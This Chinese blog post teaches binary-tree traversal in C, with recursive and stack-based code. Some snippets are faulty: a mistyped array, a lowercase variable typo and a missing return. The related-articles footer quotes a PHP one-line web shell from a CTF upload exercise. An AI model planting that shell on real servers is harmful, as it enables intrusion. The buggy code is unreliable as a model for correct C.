二叉树遍历(前序、中序、后续)

news2024/11/24 9:00:36

目录

  • 什么是二叉树
  • 二叉树遍历
  • 以递归创建树的角度看前、中、后序遍历
    • 前序遍历
    • 中序遍历
    • 后序遍历
  • 栈来实现前、中、后序遍历
    • 栈的实现
    • 栈操作进行前序、中序遍历
    • 代码实现中序遍历和先序遍历
    • 栈操作进行后序遍历

什么是二叉树

树:树的根节点没有前驱,除根节点以外,其他所有节点有且只有一个前驱。

二叉树:是n个有限元素的集合,该集合或者为空、或者由一个称为根(root)的元素及两个不相交的、被分别称为左子树右子树的二叉树组成,是有序树。当集合为空时,称该二叉树为空二叉树。在二叉树中,一个元素也称作一个节点。

在这里插入图片描述
以此图为例,F为根节点,C为F的左子节点,E为F的右子节点。

二叉树遍历

二叉树遍历分为:前序中序后序

前序遍历方式:根节点 -> 左节点 -> 右节点
前序遍历上图:FCADBEHGM

中序遍历方式:左节点 -> 根节点 -> 右节点
中序遍历上图:ACBDFHEMG
(ps:在根节点切换到右节点时,需要认为此时解析的是以右节点为根的二叉树,由最左的节点开始遍历)

后序遍历方式:左节点 -> 右节点 -> 根节点
后序遍历上图:ABDCHMGEF

以递归创建树的角度看前、中、后序遍历

这一部分主要以递归的方法创建树,并让读者直观了解前中后序遍历之间的关系。
代码逻辑

1. 输入一个以#代表空节点,的前序树结构
2. 通过递归,生成二叉树
3. 并返回前序、后序、中序的遍历结果

前序遍历

#include <stdio.h>
#include <stdlib.h>

typedef struct TreeNode
{
	char data;
	struct TreeNode* lchild;
	struct TreeNode* rchild;
}TreeNode;

/*
#名称# createTree
#功能# 根据前序遍历的字符串创建一个树 
#参数# T:树的头指针的指针 
	   str:前序遍历字符串 
	   index:记录字符串访问到的地址 
#返回值# 无 
*/ 
void createTree(TreeNode** T,char* str,int* index)
{
	if(str[*index]=='#')
	{
		(*index)++;
		*T = NULL;
	}
	else
	{
		*T = (TreeNode*)malloc(sizeof(TreeNode));
		(*T)->data = str[*index];
		printf("%c",str[*index]);
		(*index)++;
		createTree(&((*T)->lchild),str,index);
		createTree(&((*T)->rchild),str,index);
	}
	
}

/*
#名称# preOrder
#功能# 对二叉树进行前序遍历读值 
#参数# T:树的头指针
#返回值# 无 
*/ 
void preOrder(TreeNode* T) {
	if(T == NULL)	
	{
		return;
	}
	else
	{
		printf("%c ",T->data);
		preOrder(T->lchild);
		preOrder(T->rchild);
	}
}


int main(void)
{
	char* str[1024];
	TreeNode* T;
	int i=0;
	
	scanf("%s",str);
	createTree(&T,str,&i);
	preOrder(T);
}

中序遍历

/*
#名称# inOrder
#功能# 对二叉树进行中序遍历读值 
#参数# T:树的头指针
#返回值# 无 
*/ 
void inOrder(TreeNode* T) {
	if(T == NULL)	
	{
		return;
	}
	else
	{
		inOrder(T->lchild);
		printf("%c ",T->data);
		inOrder(T->rchild);
	}
}

后序遍历

/*
#名称# postOrder
#功能# 对二叉树进行后序遍历读值 
#参数# T:树的头指针
#返回值# 无 
*/ 
void postOrder(TreeNode* T) {
	if(T == NULL)	
	{
		return;
	}
	else
	{
		postOrder(T->lchild);
		postOrder(T->rchild);
		printf("%c ",T->data);
	}
}

栈来实现前、中、后序遍历

栈的实现

栈:先进后出,使用链表实现,由栈顶入,栈顶出

下述代码逻辑:S为栈顶

typedef struct StackNode {
    TreeNode* data;
    struct StackNode* next;
}StackNode;

/*
#名称# initStack
#功能# 初始化链表 
#参数# 无
#返回值# 链表头指针
*/
StackNode* initStack() {
    StackNode* S = (StackNode*)malloc(sizeof(StackNode));
    S->data = NULL;
    S->next = NULL;
    return S;
}

/*
#名称# isEmpty
#功能# 判断该链表是否为空 (栈顶后面没有值)
#参数# S:链表的指针
#返回值# 1空,0非空
*/
int isEmpty(StackNode* S){
	if(S->next == NULL)
	{
		return 1;
	}
	else
	{
		return 0;
	}
}

/*
#名称# pop
#功能# 出栈操作 (将栈顶后面的第一个成员出栈)
#参数# 无
#返回值# 链表头指针
*/
StackNode* pop(StackNode* S){
	if(isEmpty(S))
	{
		return NULL;
	}
	else
	{
		StackNode* node = S->next;
		s->next = node->next;
		return node;
	}
}

/*
#名称# push
#功能# 入栈操作 (将数据加入到栈顶后面的第一个成员)
#参数# 无
#返回值# 链表头指针
*/
StackNode* push(TreeNode* data,StackNode* S){
	StackNode* node = (StackNode*)malloc(sizeof(StackNode));
	node->data = data;
	node->next = S->next;
	S->next = node;
}

栈操作进行前序、中序遍历

原理:

1、入栈根节点
2、循环,判断当前节点是否为空
3、不空,将节点入栈并把节点推向左子节点
4、空,出栈,并推将节点推至出栈节点的右子节点
5、回到循环

以下图为例,红色为进站顺序,蓝色为出栈顺序,黄色为当前节点

1、先将根节点和一条链路上的左节点按顺序入栈,当前节点为A的左子节点
在这里插入图片描述

2、A的左子节点为当前节点,当前节点为空,则出栈一个节点,然后将当前节点推到出栈节点的右子节点
在这里插入图片描述
3、当前节点为空,则出栈一个节点,然后将当前节点推到出栈节点的右子节点
在这里插入图片描述
4、当前节点有值入栈,推到左节点,有值也入栈
在这里插入图片描述
按上述原理完整的入栈和出栈顺序为:
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以得到入栈顺序为:FCADBEHGM
出栈顺序为:ACBDFHEMG

可以看出入栈顺序即为先序遍历,出栈顺序为中序遍历

代码实现中序遍历和先序遍历

#include <stdio.h>
#include <stdlib.h>

typedef struct TreeNode
{
	char data;
	struct TreeNode* lchild;
	struct TreeNode* rchild;
}TreeNode;

typedef struct StackNode {
    TreeNode* data;
    struct StackNode* next;
}StackNode;

/*
#名称# initStack
#功能# 初始化链表 
#参数# 无
#返回值# 链表头指针
*/
StackNode* initStack() {
    StackNode* S = (StackNode*)malloc(sizeof(StackNode));
    S->data = NULL;
    S->next = NULL;
    return S;
}

/*
#名称# isEmpty
#功能# 判断该链表是否为空 (栈顶后面没有值)
#参数# S:链表的指针
#返回值# 1空,0非空
*/
int isEmpty(StackNode* S){
	if(S->next == NULL)
	{
		return 1;
	}
	else
	{
		return 0;
	}
}

/*
#名称# pop
#功能# 出栈操作 (将栈顶后面的第一个成员出栈)
#参数# 无
#返回值# 链表头指针
*/
StackNode* pop(StackNode* S){
	if(isEmpty(S))
	{
		return NULL;
	}
	else
	{
		StackNode* node = S->next;
		S->next = node->next;
		return node;
	}
}

/*
#名称# push
#功能# 入栈操作 (将数据加入到栈顶后面的第一个成员)
#参数# 无
#返回值# 链表头指针
*/
StackNode* push(TreeNode* data,StackNode* S){
	StackNode* node = (StackNode*)malloc(sizeof(StackNode));
	node->data = data;
	node->next = S->next;
	S->next = node;
}

/*
#名称# createTree
#功能# 根据前序遍历的字符串创建一个树 
#参数# T:树的头指针的指针 
	   str:前序遍历字符串 
	   index:记录字符串访问到的地址 
#返回值# 无 
*/ 
void createTree(TreeNode** T,char* str,int* index)
{
	if(str[*index]=='#')
	{
		(*index)++;
		*T = NULL;
	}
	else
	{
		*T = (TreeNode*)malloc(sizeof(TreeNode));
		(*T)->data = str[*index];
		(*index)++;
		createTree(&((*T)->lchild),str,index);
		createTree(&((*T)->rchild),str,index);
	}
	
}

/*
#名称# preOrder
#功能# 对二叉树使用栈进行前序读值 
#参数# T:树的头指针
#返回值# 无 
*/ 
void preOrder(TreeNode* T) {
	TreeNode* node;
	node = T;
	StackNode* S = initStack();
	while(node||!isEmpty(S))
	{
		if(node)
		{
			push(node,S);
			printf("%c ",node->data);
			node = node->lchild;
		}
		else
		{
			node = pop(S)->data;
			node = node->rchild;
			
		}
	}
}

/*
#名称# inOrder
#功能# 对二叉树使用栈进行中序读值 
#参数# T:树的头指针
#返回值# 无 
*/ 
void inOrder(TreeNode* T) {
	TreeNode* node;
	node = T;
	StackNode* S = initStack();
	while(node||!isEmpty(S))
	{
		if(node)
		{
			push(node,S);
			node = node->lchild;
		}
		else
		{
			node = pop(S)->data;
			printf("%c ",node->data);
			node = node->rchild;
			
		}
	}
}

int main(void)
{
	char* str[1024];
	TreeNode* T;
	int i=0;
	
	scanf("%s",str);
	createTree(&T,str,&i);
	preOrder(T);
	printf("\n");
	inOrder(T); 
}

栈操作进行后序遍历

1、从根节点开始,寻找最左边的节点,并依次入栈,遇到空节点出栈
2、出栈前,判断栈顶元素是否有右子树,如果有先将右子树入栈
(还要判断右子树是否已经被访问过,不能进行重复访问)
3、若右子树未被访问过,重复12步骤遍历子树

将二叉树最左的链路全部进栈后,每出栈一个左子节点,均会判断是否
拥有右子节点并入栈,且判断是否是树,是树重复上述操作。
(注:当前节点node变化只会由左子节点跳到右子节点,不会返回根节
点(无论前、中、后序遍历均如此),后序遍历中使用top转存中间节点
,并不直接对node赋值,node只可能为左右节点,不会是根节点,规避
了node=根节点带来的死循环)

故树的节点代码需要增加一个标志位

typedef struct TreeNode
{
	char data;
	struct TreeNode* lchild;
	struct TreeNode* rchild;
    int flag;
}TreeNode;

加入获取栈顶节点的代码

/*
#名称# getTop
#功能# 获取栈顶节点操作
#参数# S栈顶指针 
#返回值# 栈顶节点 
*/
StackNode* getTop(StackNode* S){
	if(isEmpty(S))
	{
		return NULL;
	}
	else
	{
		return S->next;
	}
}

后序遍历函数

/*
#名称# postOrder
#功能# 对二叉树进行后序遍历读值 
#参数# T:树的头指针
#返回值# 无 
*/ 
void postOrder(TreeNode* T) {
	TreeNode* node;
	node = T;
	StackNode* S = initStack();
	while(node||!isEmpty(S))
	{
		if(node)
		{
			push(node,S);
			node = node->lchild;
		}
		else 
		{
			/*可能会在if(node)中重复进栈,所以定义一个top,跳过根节点,跨到右子节点*/
            TreeNode* top  = getTop(S) -> data;
            if (top -> rchild && top -> rchild -> flag == 0) 
			{
                top = top -> rchild;
                node = top;
            }
            else 
			{
                top = pop(S) -> data;
                printf("%c ", top -> data);
                top -> flag = 1;
            }
        }
	}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2220500.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring声明式事务管理:深入探索XML配置方式

前言 Spring的事务管理&#xff0c;无论是基于xml还是注解实现&#xff0c;本质上还是实现数据库的事务管理机制&#xff0c;因此要注意发送SQL的连接是否为同一个&#xff0c;这是实现声明式事务的关键。 以下案例和实现基于SSM整合框架完成&#xff0c;不知道如何整合SSM&…

CTFHUB技能树之文件上传——无验证

开启靶场&#xff0c;打开链接&#xff1a; 直接上传一句话木马&#xff1a; <?php eval($_POST[pass]);?> 成功提交并显示了上传的文件的路径 访问一下该文件触发一句话木马&#xff1a; 看到一片空白是正常的&#xff0c;因为没有写什么函数&#xff0c;比如&#x…

FineReport 计算同比增长

1、数据库查询 SELECTt1.年,t1.月,t1.总金额 AS 同期金额,t1.仓库名称,t2.总金额 AS 上期金额 FROMtest t1LEFT JOIN test t2 ON ( t1.年 t2.年 1 ) AND t1.月 t2.月 AND t1.仓库名称 t2.仓库名称2、配置字段 月份字段加后缀 月 数据列加后缀 计算同比增长率 if(LEN(B3)0 …

移动零---双指针法

目录 一&#xff1a;题目 二:算法原理讲解 三&#xff1a;代码编写 一&#xff1a;题目 题目链接&#xff1a;https://leetcode.cn/problems/move-zeroes/description/ 二:算法原理讲解 三&#xff1a;代码编写 void moveZeroes2(vector<int>& nums) {for (int d…

数据轻松上云——Mbox边缘计算网关

随着工业4.0时代的到来&#xff0c;工厂数字化转型已成为提升生产效率、优化资源配置、增强企业竞争力的关键。我们凭借其先进的边缘计算网关与云平台技术&#xff0c;为工厂提供了高效、稳定的数据采集与上云解决方案。本文将为您介绍Mbox边缘计算网关如何配合明达云平台&…

基于Java语言的培训平台+学习平台+在线学习培训系统+教育平台+教育学习系统+课程学习平台

简述 企业培训平台企业考试系统培训平台考试系统企业大学企业视频网站视频学习平台 介绍 企业培训平台支持企业培训考试全流程&#xff0c;在线学习、在线考试&#xff0c;成熟的企业培训考试解决方案&#xff0c;充分满足企业培训需求。 独立部署&#xff0c;仅内部员工登录…

JAVA高级--常用类(九)

JAVA高级–常用类 观看b站尚硅谷视频做的笔记 1、字符串相关的类 1.1 String 的使用 String 的特性&#xff1a; String 类&#xff1a;代表字符串。Java 程序中的所有字符串字面值&#xff08;如 “abc”&#xff09;都作为此类的实例实现。 String 是一个 final 类&#…

ESP8266 模块介绍—AT指令学习 笔记

零、简介 感谢百文网韦东山 老师对ESP8266模块的讲解 笔记在CSDN也有文章备份 大家可以在我的gitee仓库 中下载笔记源文件、ESP8266资料等 笔记源文件可以在Notion中导入 一、ESP8266-01S模块详细介绍 1. 名字的由来 ESP8266 是方形的主控芯片旁边的长方形是一个Flash-0…

IO编程——消息队列

题目&#xff1a; 代码实现&#xff1a; #include <myhead.h> //正文大小 #define MSGSZ (sizeof(struct msgbuf)-sizeof(long)) //定义要发送的消息类型 struct msgbuf{long msgtype; //消息类型char mtext[1024]; //消息正文 };int main(int argc, const char *ar…

全面升级:亚马逊测评环境方案的最新趋势与实践

在亚马逊测评领域深耕多年&#xff0c;见证了无数环境方案的更迭与演变&#xff0c;每一次变化都体现了国人不畏艰难、勇于创新的精神。面对平台的政策调整&#xff0c;总能找到相应的对策。那么&#xff0c;当前是否存在一套相对稳定且高效的技术方案呢&#xff1f;答案是肯定…

【计网】从零开始理解TCP协议 --- 拥塞控制机制,延迟应答机制,捎带应答,面向字节流

时间就是性命。 无端的空耗别人的时间&#xff0c; 其实是无异于谋财害命的。 --- 鲁迅 --- 从零开始理解TCP协议 1 拥塞控制2 延迟应答3 捎带应答4 面向字节流5 TCP异常情况TCP小结 1 拥塞控制 尽管TCP拥有滑动窗口这一高效的数据传输机制&#xff0c;能够确保在对方接收…

基于卷积神经网络的蔬菜识别系统,resnet50,mobilenet模型【pytorch框架+python源码】

更多目标检测和图像分类识别项目可看我主页其他文章 功能演示&#xff1a; 基于卷积神经网络的蔬菜识别系统&#xff0c;resnet50&#xff0c;mobilenet【pytorch框架&#xff0c;python&#xff0c;tkinter】_哔哩哔哩_bilibili &#xff08;一&#xff09;简介 基于卷积神…

关于vue3中如何实现多个v-model的自定义组件

实现自定义组件<User v-model"userInfo" v-model:gender"gender"></User> User组件中更改数据可以同步更改父组件中的数据&#xff1a; 1 父组件&#xff1a; <User v-model"userInfo" v-model:gender"gender">&…

ROUGE:摘要自动评估软件包

算法解析 ROUGE&#xff08;Recall-Oriented Understudy for Gisting Evaluation&#xff09;是一组用于自动评估文本摘要质量的指标&#xff0c;主要通过比较机器生成的摘要与一个或多个参考摘要之间的重合程度来衡量。ROUGE 包括多个变体&#xff0c;其中最常用的有 ROUGE-N…

基于Java微信小程序的的儿童阅读系统的详细设计和实现(源码+lw+部署文档+讲解等)

详细视频演示 请联系我获取更详细的演示视频 项目运行截图 技术框架 后端采用SpringBoot框架 Spring Boot 是一个用于快速开发基于 Spring 框架的应用程序的开源框架。它采用约定大于配置的理念&#xff0c;提供了一套默认的配置&#xff0c;让开发者可以更专注于业务逻辑而不…

WebGoat SQL Injection (intro) 源码分析

首先了解 java 中 mysql 的连接&#xff1a;java连接Mysql WebGoat SQL Injection (intro) 10 根据提示&#xff1a;下面两个输入框只有一个受到 sql 注入攻击。题目要求是检索到所有数据 发现请求路径为 SqlInjection/assignment5b 定位到所在文件如下&#xff0c;根据代码…

基于递推式最小二乘法的PMSM参数辨识MATLAB仿真模型

微❤关注“电气仔推送”获得资料&#xff08;专享优惠&#xff09; 模型简介 最小二乘法是一种回归估计法&#xff0c;适用于被辨识的参数与系统输出为线性关 系的情况。它是在一定数据量下&#xff0c;基于系统输出误差的平方和最小的准则对参 数进行辨识的方法。此模型通过…

使用Flask实现本机的模型部署

前言 模型部署是指将大模型运行在专属的计算资源上&#xff0c;使模型在独立的运行环境中高效、可靠地运行&#xff0c;并为业务应用提供推理服务。其目标是将机器学习模型应用于实际业务中&#xff0c;使最终用户或系统能够利用模型的输出&#xff0c;从而发挥其作用。 一、设…

unity 屏幕波动反馈打击效果(附资源下载)

unity 屏幕波动反馈打击效果 一枪打出去整个屏幕都回波动的效果反馈。 知识点&#xff1a; 1、动画事件 2、屏幕后处理 效果如图&#xff1a;&#xff08;波动速度浮动都可调整&#xff09; 附件下载

TH-OCR:高效的文字识别工具与护照阅读器的完美结合

在数字化的时代&#xff0c;高效准确的文字识别工具变得越来越重要。今天我要给大家介绍一下 TH-OCR。 TH-OCR 是一款功能强大的文字识别软件&#xff0c;它能够快速准确地识别各种文档中的文字&#xff0c;大大提高了工作效率。 而其中&#xff0c;TH-OCR 在护照阅读器方面的应…